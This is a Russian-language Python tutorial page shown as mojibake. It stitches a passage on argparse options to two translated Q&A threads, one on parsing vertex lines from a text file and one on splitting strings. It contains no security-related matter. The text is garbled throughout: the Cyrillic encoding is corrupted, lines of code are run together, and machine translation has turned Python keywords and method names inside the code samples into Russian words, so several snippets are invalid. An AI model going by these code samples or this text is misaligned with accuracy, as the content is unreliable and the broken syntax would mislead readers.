, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΊΠ°Π·Π°ΡΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ ΠΎ ΡΠΈΠΏΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΡΠ°ΠΊ, ΡΡΠΎΠ±Ρ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠΈΠΏΠΎΠ² Π²ΡΠΏΠΎΠ»Π½ΡΠ»ΠΎΡΡ ΠΏΡΡΠΌΠΎ Π½Π° Π²Ρ
ΠΎΠ΄Π΅:
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--name", default=None, type=str, help="Your name")args = parser.parse_args()
Π§ΡΠΎΠ±Ρ ΡΠ±Π΅Π΄ΠΈΡΡΡΡ, ΡΡΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π²ΡΠ΅Π³Π΄Π° ΠΏΠ΅ΡΠ΅Π΄Π°Π΅Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΠΊΠ»ΡΡΠ΅Π²ΠΎΠ΅ ΡΠ»ΠΎΠ²ΠΎ required
. Π£ΡΡΠ°Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ True
Π²ΡΠ½ΡΠΆΠ΄Π°Π΅Ρ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π²Π²ΠΎΠ΄ΠΈΡΡ Π΄Π°Π½Π½ΡΠ΅ ΡΠΎΠ»ΡΠΊΠΎ Π΄Π»Ρ ΡΡΠΎΠ³ΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΡ, ΠΈΠ½Π°ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π²ΡΠ΄Π°ΡΡ ΠΎΡΠΈΠ±ΠΊΡ ΠΈ ΠΎΡΡΠ°Π½ΠΎΠ²ΠΈΡΡΡ.
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--name", required=True, type=str, help="Your name")args = parser.parse_args()
ΠΡΠ»ΠΈ ΠΌΡ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ Π΄Π»Ρ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° --name
, ΡΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π±ΡΠ΄Π΅Ρ ΡΠ°Π±ΠΎΡΠ°ΡΡ ΠΎΡΠ»ΠΈΡΠ½ΠΎ! ΠΠ΄Π½Π°ΠΊΠΎ ΠΏΡΠΈ Π΅Π³ΠΎ ΠΎΡΡΡΡΡΡΠ²ΠΈΠΈ ΠΌΡ ΠΏΠΎΠ»ΡΡΠΈΠΌ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ ΠΎΠ± ΠΎΡΠΈΠ±ΠΊΠ΅:
usage: run.py [-h] [--a A] --name NAME
run.py: error: the following arguments are required: --name
ΠΡ ΡΠ°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ Π²Π²Π΅ΡΡΠΈ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΡ Π΄Π»Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Ρ ΠΏΠΎΠΌΠΎΡΡΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° choices
. ΠΠΎΠ»Π΅Π·Π½Π°Ρ ΡΡΠ½ΠΊΡΠΈΡ, ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎ ΠΏΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ Π² ΠΊΠΎΠ΄Π΅ Π½Π°Π±ΠΎΡΠ° ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠΎΠ² if-else, ΠΊΠΎΡΠΎΡΡΠ΅ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ ΠΎΠ΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ. ΠΡΠΈΠΌΠ΅Ρ:
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", default=1, type=int, help="This is the 'a' variable")
parser.add_argument("--education",
choices=["highschool", "college", "university", "other"],
required=True, type=str, help="Your name")args = parser.parse_args()ed = args.educationif ed == "college" or ed == "university":
print("Has degree")
elif ed == "highschool":
print("Finished Highschool")
else:
print("Does not have degree")
Π’Π΅ΠΏΠ΅ΡΡ ΠΏΡΠΈ Π²Π²ΠΎΠ΄Π΅ Π»ΡΠ±ΠΎΠ³ΠΎ Π·Π½Π°ΡΠ΅Π½ΠΈΡ, Π½Π°Ρ
ΠΎΠ΄ΡΡΠ΅Π³ΠΎΡΡ Π² ΡΠΏΠΈΡΠΊΠ΅ choices, ΠΊΠΎΠ΄ Π±ΡΠ΄Π΅Ρ ΡΠ°Π±ΠΎΡΠ°ΡΡ ΠΈ ΠΏΡΠΈΠΌΠ΅Ρ Π°ΡΠ³ΡΠΌΠ΅Π½Ρ education
. ΠΠ΄Π½Π°ΠΊΠΎ ΠΏΡΠΈ Π²Π²ΠΎΠ΄Π΅ ΡΠΎΠ³ΠΎ, ΡΡΠΎ ΠΎΡΡΡΡΡΡΠ²ΡΠ΅Ρ Π² ΡΠΏΠΈΡΠΊΠ΅, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, ΡΠΈΡΠ»Π° 5
, Π²Ρ ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅ ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡΠΎΡΠΎΠΌ ΠΏΡΠ΅Π΄Π»Π°Π³Π°Π΅ΡΡΡ Π²ΡΠ±ΡΠ°ΡΡ Π²Π°ΡΠΈΠ°Π½ΡΡ ΠΈΠ· ΡΠΏΠΈΡΠΊΠ°:
usage: run.py [-h] [--a A] --education {highschool,college,university,other}
run.py: error: argument --education: invalid choice: '5' (choose from 'highschool', 'college', 'university', 'other')
ΠΠ°ΡΡΠ°Π»ΠΎ Π²ΡΠ΅ΠΌΡ Π΄Π²ΠΈΠ³Π°ΡΡΡΡ Π΄Π°Π»ΡΡΠ΅ ΠΈ ΠΏΠ΅ΡΠ΅ΠΉΡΠΈ ΠΊ ΠΏΡΠΎΠ΄Π²ΠΈΠ½ΡΡΠΎΠΌΡ argparse!
Π Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ΅ action
ΠΌΠΎΠΆΠ½ΠΎ ΡΠΊΠ°Π·Π°ΡΡ Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅, ΠΊΠΎΡΠΎΡΠΎΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡΠΈΠ½ΠΈΠΌΠ°ΡΡ ΠΏΠ°ΡΡΠ΅Ρ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ². ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π°ΡΠ³ΡΠΌΠ΅Π½Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅ΡΡΡ ΡΠ°Π²Π½ΡΠΌ Π±ΡΠ»Π΅Π²ΠΎΠΌΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ True
, Π΅ΡΠ»ΠΈ ΠΎΠ½ΠΎ ΠΏΡΠΈΡΡΡΡΡΠ²ΡΠ΅Ρ ΠΈΠ»ΠΈ ΡΠ²Π»ΡΠ΅ΡΡΡ ΠΊΠΎΠ½ΡΡΠ°Π½ΡΠΎΠΉ. Π ΠΏΡΠΈΠΌΠ΅ΡΠ΅ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ ΠΎΠ±Π° ΡΠ»ΡΡΠ°Ρ.
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
parser.add_argument("--a", action="store_true", help="This is the 'a' variable")
parser.add_argument("--b", action="store_const", const=10,
help="This is the 'b' variable")args = parser.parse_args()
a = args.a
b = args.bprint(a)
print(b)
Π ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²ΡΡΠ΅ ΠΊΠΎΠ΄Π΅ Π³ΠΎΠ²ΠΎΡΠΈΡΡΡ, ΡΡΠΎ Π΅ΡΠ»ΠΈ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅ ΠΏΡΠΈΡΡΡΡΡΠ²ΡΠ΅Ρ Π°ΡΠ³ΡΠΌΠ΅Π½Ρ a
, ΡΠΎ ΠΎΠ½ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ True
, Π° Π² ΠΏΡΠΎΡΠΈΠ²Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ False
. ΠΠ½Π°Π»ΠΎΠ³ΠΈΡΠ½ΡΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, ΠΏΡΠΈ Π½Π°Π»ΠΈΡΠΈΠΈ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ b
ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ 10
, Π° Π² ΠΏΡΠΎΡΠΈΠ²Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ None
ΠΈΠ·-Π·Π° ΠΎΡΡΡΡΡΡΠ²ΠΈΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ!
ΠΡ ΡΠ°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ ΡΠ°ΠΊ Π½Π°Π·ΡΠ²Π°Π΅ΠΌΡΠ΅ Π²Π·Π°ΠΈΠΌΠΎΠΈΡΠΊΠ»ΡΡΠ°ΡΡΠΈΠ΅ Π³ΡΡΠΏΠΏΡ, ΠΎΠΏΡΠ΅Π΄Π΅Π»ΡΡΡΠΈΠ΅ Π½Π°Π±ΠΎΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ ΠΏΠ°ΡΡΠ΅ΡΠ°, ΠΊΠΎΡΠΎΡΡΠ΅ Π½Π΅ ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΠΏΠ΅ΡΠ΅Π΄Π°Π½Ρ ΠΎΠ΄Π½ΠΎΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ.
ΠΡΠΈΠΌΠ΅Ρ:
import argparseparser = argparse.ArgumentParser(description='A tutorial of argparse!')
group = parser.add_mutually_exclusive_group(required=True)group.add_argument('--a', action='store_true', help="This is the 'a' variable")
group.add_argument('--b', action='store_true', help="This is the 'b' variable")args = parser.parse_args()
a = args.a
b = args.bprint(a)
print(b)
ΠΡΠ³ΡΠΌΠ΅Π½ΡΡ argparse
— a
ΠΈ b
— Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ Π² ΠΎΠ΄Π½Ρ Π²Π·Π°ΠΈΠΌΠΎΠΈΡΠΊΠ»ΡΡΠ°ΡΡΡΡ Π³ΡΡΠΏΠΏΡ. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, Python Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ ΠΎΡΠΏΡΠ°Π²Π»ΡΡΡ a
ΠΈ b
ΠΎΠ΄Π½ΠΎΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ python3 argparse_8.py --a --b
. ΠΡΠ° ΡΡΠ½ΠΊΡΠΈΡ Π³Π°ΡΠ°Π½ΡΠΈΡΡΠ΅Ρ, ΡΡΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π½Π΅ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ ΠΏΡΠΎΡΠΈΠ²ΠΎΡΠ΅ΡΠ°ΡΠΈΠ΅ Π΄ΡΡΠ³ Π΄ΡΡΠ³Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ ΠΎΠ΄Π½ΠΎΠ²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ, ΡΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΈΠ·Π±Π΅ΠΆΠ°ΡΡ ΠΏΡΡΠ°Π½ΠΈΡΡ ΠΈΠ»ΠΈ ΠΎΡΠΈΠ±ΠΎΠΊ.
ΠΠΎΡ ΠΈ Π²ΡΠ΅! ΠΡ ΠΏΡΠΎΡΠ»ΠΈ ΠΏΡΠΎΡΡΠΎΠ΅ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ ΠΏΠΎ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ°ΠΌ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Python.
Π§ΠΈΡΠ°ΠΉΡΠ΅ ΡΠ°ΠΊΠΆΠ΅:
Π§ΠΈΡΠ°ΠΉΡΠ΅ Π½Π°Ρ Π² ΡΠ΅Π»Π΅Π³ΡΠ°ΠΌΠΌΠ΅, vk ΠΈ Π―Π½Π΄Π΅ΠΊΡ.ΠΠ·Π΅Π½
python — ΠΏΠ°ΡΡΠΈΠ½Π³ Π±Π»ΠΎΠΊΠΎΠ² ΡΠ΅ΠΊΡΡΠ° Π² ΡΠ΅ΠΊΡΡΠΎΠ²ΠΎΠΌ ΡΠ°ΠΉΠ»Π΅ (Π±Π»ΠΎΠΊΠΈ ΡΠ°Π·Π΄Π΅Π»ΡΡΡΡΡ ΠΏΡΡΡΠΎΠΉ ΡΡΡΠΎΠΊΠΎΠΉ)
Π― Π½ΠΎΠ²ΡΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Python, ΠΊΠΎΡΠΎΡΡΠΉ Ρ ΠΎΡΠ΅Ρ ΡΠ°Π·ΠΎΠ±ΡΠ°ΡΡ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠΉ ΡΠ°ΠΉΠ», ΠΊΠΎΡΠΎΡΡΠΉ Π²ΡΠ³Π»ΡΠ΄ΠΈΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
$ begin
$ vertex -1285.6 -226.2 -538.7 0
$ track 11 1000 0.7277 0.6765 0.1133 0
$ end
$ begin
$ vertex -1265.3 573.1 1547.7 0
$ track 11 1000 -0.7679 0.1650 0.6189 0
$ end
ΠΠ»Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ($ begin … $ end) Ρ Ρ ΠΎΡΡ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΊΠΎΠΎΡΠ΄ΠΈΠ½Π°ΡΡ Π²Π΅ΡΡΠΈΠ½Ρ x y z:
$ begin
$ vertex x y z 0
$ track 11 1000 -0.7679 0.1650 0.6189 0
$ end
ΠΠΎΠΆΠ΅Ρ ΠΊΡΠΎ-Π½ΠΈΠ±ΡΠ΄Ρ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈΡΡ ΡΠΏΠΎΡΠΎΠ± ΡΠ΄Π΅Π»Π°ΡΡ ΡΡΠΎ? Π― ΠΎΡΠ΅Π½Ρ Π±Π»Π°Π³ΠΎΠ΄Π°ΡΠ΅Π½ Π·Π° Π»ΡΠ±ΡΡ ΠΏΠΎΠΌΠΎΡΡ ΠΈΠ»ΠΈ ΡΠΎΠ²Π΅Ρ!
2
user638699
15 ΠΠΏΡ 2017 Π² 00:04
4 ΠΎΡΠ²Π΅ΡΠ°
ΠΡΡΡΠΈΠΉ ΠΎΡΠ²Π΅Ρ
ΠΡΠ΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ Π²Π°Ρ Π΅ΡΡΡ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠΉ ΡΠ°ΠΉΠ» my file.txt Ρ Π²Π°ΡΠΈΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ Π² Π½Π΅ΠΌ. Π Π΄Π°Π²Π°ΠΉΡΠ΅ Π΄Π°Π΄ΠΈΠΌ ΠΌΠ΅ΡΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡ ΠΈΠ· ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠ² Π² ΡΡΡΠΎΠΊΠ΅:
marker = $
label = vertex OR track OR begin, etc
x = your x value
y = your y value
z = your z value
eol = the last value on the vertex line
Π§ΠΈΡΠ°Ρ ΠΊΠ°ΠΆΠ΄ΡΡ ΡΡΡΠΎΠΊΡ, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠΎΠ²Π΅ΡΠΈΡΡ, ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π»ΠΈ ΡΡΡΠΎΠΊΠ° ΡΠ΅ΡΠΌΠΈΠ½ Β«Π²Π΅ΡΡΠΈΠ½Π°Β».
ΠΡΠ»ΠΈ ΡΡΠΎ ΠΏΡΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ, ΠΌΡ Π·Π°ΡΠ΅ΠΌ ΡΠ°Π·Π΄Π΅Π»ΠΈΠΌ ΡΡΡ ΡΡΡΠΎΠΊΡ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ ΡΡΠ½ΠΊΡΠΈΡ split (ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ, split Π±ΡΠ΄Π΅Ρ ΡΠ°Π·Π±ΠΈΠ²Π°ΡΡ ΠΏΡΠΎΠ±Π΅Π», Π½ΠΎ Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠ²Π½ΠΎ Π²ΡΠ·ΠΎΠ²Π΅ΠΌ ΡΠΎ, Π½Π° ΡΡΠΎ ΠΌΡ Ρ ΠΎΡΠΈΠΌ ΡΠ°Π·Π±ΠΈΡΡ (Ρ. Π. »). Split ΡΠΎΠ·Π΄Π°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠ².
ΠΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠ°ΡΠΏΠ°ΠΊΠΎΠ²ΠΊΡ ΠΊΠΎΡΡΠ΅ΠΆΠ΅ΠΉ, ΡΡΠΎΠ±Ρ Π²ΡΡΠ΅ΡΠΊΠ½ΡΡΡ ΠΊΠ°ΠΆΠ΄ΡΠΉ ΡΠ»Π΅ΠΌΠ΅Π½Ρ ΠΈΠ· ΡΠΏΠΈΡΠΊΠ° ΠΈ Π½Π°Π·Π½Π°ΡΠΈΡΡ ΠΈΠΌ ΠΎΡΠ΄Π΅Π»ΡΠ½ΡΠ΅ ΠΌΠ΅ΡΠΊΠΈ, ΡΡΠΎΠ±Ρ Π½Π°Ρ ΠΊΠΎΠ΄ Π±ΡΠ» Π±ΠΎΠ»Π΅Π΅ ΡΠΈΡΠ°Π±Π΅Π»ΡΠ½ΡΠΌ. ΠΠ°ΡΠ΅ΠΌ ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°ΡΡ Π·Π½Π°ΡΠ΅Π½ΠΈΡ. Π Π²Π°ΡΠ΅ΠΌ ΡΠ»ΡΡΠ°Π΅ Π²Ρ, Π²Π΅ΡΠΎΡΡΠ½ΠΎ, Π·Π°Ρ ΠΎΡΠΈΡΠ΅ ΡΠΎΡ ΡΠ°Π½ΠΈΡΡ ΠΈΠ»ΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ°ΡΡ ΡΡΠΈ Π·Π½Π°ΡΠ΅Π½ΠΈΡ … ΠΏΡΠΎΡΡΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡ ΠΏΠ΅ΡΠ°ΡΠΈ Π½Π° Π²Π°Ρ ΠΊΠΎΠ΄ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ.
file = open('myfile.txt')
for line in file:
if 'vertex' in line:
fields = line.split(' ')
marker, tag, x, y, z, eol = fields
print(x, y, z)
2
E. Ducateme
14 ΠΠΏΡ 2017 Π² 21:18
ΠΡ ΠΌΠΎΠΆΠ΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΡΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ Π·Π΄Π΅ΡΡ.
patern = re.compile("\n\n")
print patern.split(content)
ΠΠ±ΡΡΡΠ½Π΅Π½ΠΈΠ΅: ΠΡΠΎ Π±ΡΠ΄Π΅Ρ ΠΈΡΠΊΠ°ΡΡ ΡΠ°Π±Π»ΠΎΠ½ Π΄Π²ΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΡ ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² Π½ΠΎΠ²ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Π² Π²Π°ΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠ΅ ΠΈ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΡ Π½Π° ΠΌΠ°ΡΡΠΈΠ² Ρ ΡΡΠΈΠΌ ΡΠ°Π±Π»ΠΎΠ½ΠΎΠΌ
ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ:
with open('data.txt', 'r') as myfile:
str=myfile.read()
#str="hello world \n line 1 \n line 2 \n\n line 3 line 4 \n line 5"
print str
patern = re.compile("\n\n")
print patern.split(str)
Π Π΅Π·ΡΠ»ΡΡΠ°Ρ: [‘ΠΏΡΠΈΠ²Π΅Ρ ΠΌΠΈΡ \ n ΡΡΡΠΎΠΊΠ° 1 \ n ΡΡΡΠΎΠΊΠ° 2’, ‘ΡΡΡΠΎΠΊΠ° 3 ΡΡΡΠΎΠΊΠ° 4 \ n ΡΡΡΠΎΠΊΠ° 5’]
2
alpeshpandya
14 ΠΠΏΡ 2017 Π² 21:15
ΠΠΎΡΠΎΡΠΊΠΈΠΉ ΠΈ ΡΠ»Π°Π΄ΠΊΠΈΠΉ Ρ ΠΏΡΠΈΠΊΠΎΡΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ΠΌ ΠΈΠ»ΠΈ re
import re
verticies = re.findall('\$ vertex (\S+) (\S+) (\S+) 0', open('t.data').read())
print verticies
ΠΠ°Π΅Ρ:
[('-1285.6', '-226.2', '-538.7'), ('-1265.3', '573.1', '1547.7')]
0
sotapme
14 ΠΠΏΡ 2017 Π² 21:46
import csv
with open('data.txt','r') as f:
text = f.readlines()
for line in text:
if 'vertex' in line:
fields = line.split(' ')
print(fields[2],fields[3],fields[4])
1
Teja
14 ΠΠΏΡ 2017 Π² 21:22
43419255
ΠΠ°ΠΊ Ρ ΠΌΠΎΠ³Ρ ΡΠ°Π·Π±ΠΈΡΡ ΠΈ ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΡΡΡΠΎΠΊΡ Π² Python?
ΠΠΎΡΠ°Π³ΠΎΠ²ΠΎΠ΅ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎ ΠΏΠΎ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠΌΡ Π°Π½Π°Π»ΠΈΠ·Ρ ΡΡΡΠΎΠΊΠΈ Python
Π Π°Π·Π΄Π΅Π»ΠΈΡΡ ΡΡΡΠΎΠΊΡ Π½Π° ΠΏΡΠΎΠ±Π΅Π», ΠΏΠΎΠ»ΡΡΠΈΡΡ ΡΠΏΠΈΡΠΎΠΊ, ΠΏΠΎΠΊΠ°Π·Π°ΡΡ Π΅Π³ΠΎ ΡΠΈΠΏ, ΡΠ°ΡΠΏΠ΅ΡΠ°ΡΠ°ΡΡ:
el @ apollo: ~ / foo $ python
>>> mystring = "Π§ΡΠΎ Π³ΠΎΠ²ΠΎΡΠΈΡ Π»ΠΈΡΠ°?"
>>> mylist = mystring.split ("")
>>> ΡΠΈΠΏ ΠΏΠ΅ΡΠ°ΡΠΈ (ΠΌΠΎΠΉ ΡΠΏΠΈΡΠΎΠΊ)
<ΡΠΈΠΏ 'ΡΠΏΠΈΡΠΎΠΊ'>
>>> ΡΠ°ΡΠΏΠ΅ΡΠ°ΡΠ°ΡΡ ΠΌΠΎΠΉ ΡΠΏΠΈΡΠΎΠΊ
['Π§ΡΠΎ Π³ΠΎΠ²ΠΎΡΠΈΡ Π»ΠΈΡΠ°?']
ΠΡΠ»ΠΈ Ρ Π²Π°Ρ Π΅ΡΡΡ Π΄Π²Π° ΡΠ°Π·Π΄Π΅Π»ΠΈΡΠ΅Π»Ρ ΡΡΠ΄ΠΎΠΌ Π΄ΡΡΠ³ Ρ Π΄ΡΡΠ³ΠΎΠΌ, ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΡΡΡ ΠΏΡΡΡΠ°Ρ ΡΡΡΠΎΠΊΠ°:
el @ apollo: ~ / foo $ python
>>> mystring = "ΡΡΠΎ ΡΠ°ΠΊ ΠΏΡΡΠΈΡΡΠΎ, Ρ Π£ΠΠΠ Π£ !!!"
>>> Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°ΠΉΡΠ΅ mystring.ΡΠ°ΡΠΊΠΎΠ»ΠΎΡΡ(" ")
['ΡΠ°ΠΊ ΠΏΡΡΠΈΡΡΠΎ ΡΡΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΌΠ΅ΡΠ΅ΡΡ!!! ']
Π Π°Π·Π΄Π΅Π»ΠΈΡΡ ΡΡΡΠΎΠΊΡ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ΅ΡΠΊΠΈΠ²Π°Π½ΠΈΡ ΠΈ Π²Π·ΡΡΡ 5-ΠΉ ΡΠ»Π΅ΠΌΠ΅Π½Ρ Π² ΡΠΏΠΈΡΠΊΠ΅:
el @ apollo: ~ / foo $ python
>>> mystring = "Time_to_fire_up_Kowalski's_Nuclear_reactor."
>>> mystring.split ("_") [4]
"ΠΠΎΠ²Π°Π»ΡΡΠΊΠΎΠ³ΠΎ"
Π‘Π²Π΅ΡΠ½ΡΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΏΡΠΎΠ±Π΅Π»ΠΎΠ² Π² ΠΎΠ΄Π½ΠΎ
el @ apollo: ~ / foo $ python
>>> mystring = 'ΡΠ²Π΅ΡΠ½ΡΡΡ ΡΡΠΈ ΠΏΡΠΎΠ±Π΅Π»Ρ'
>>> mycollapsedstring = ''.ΠΏΡΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡΡΡΡ (mystring.split ())
>>> Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°ΡΡ mycollapsedstring.split ('')
['ΡΠ²Π΅ΡΠ½ΡΡΡ', 'ΡΡΠΈ', 'ΠΏΡΠΎΠ±Π΅Π»Ρ']
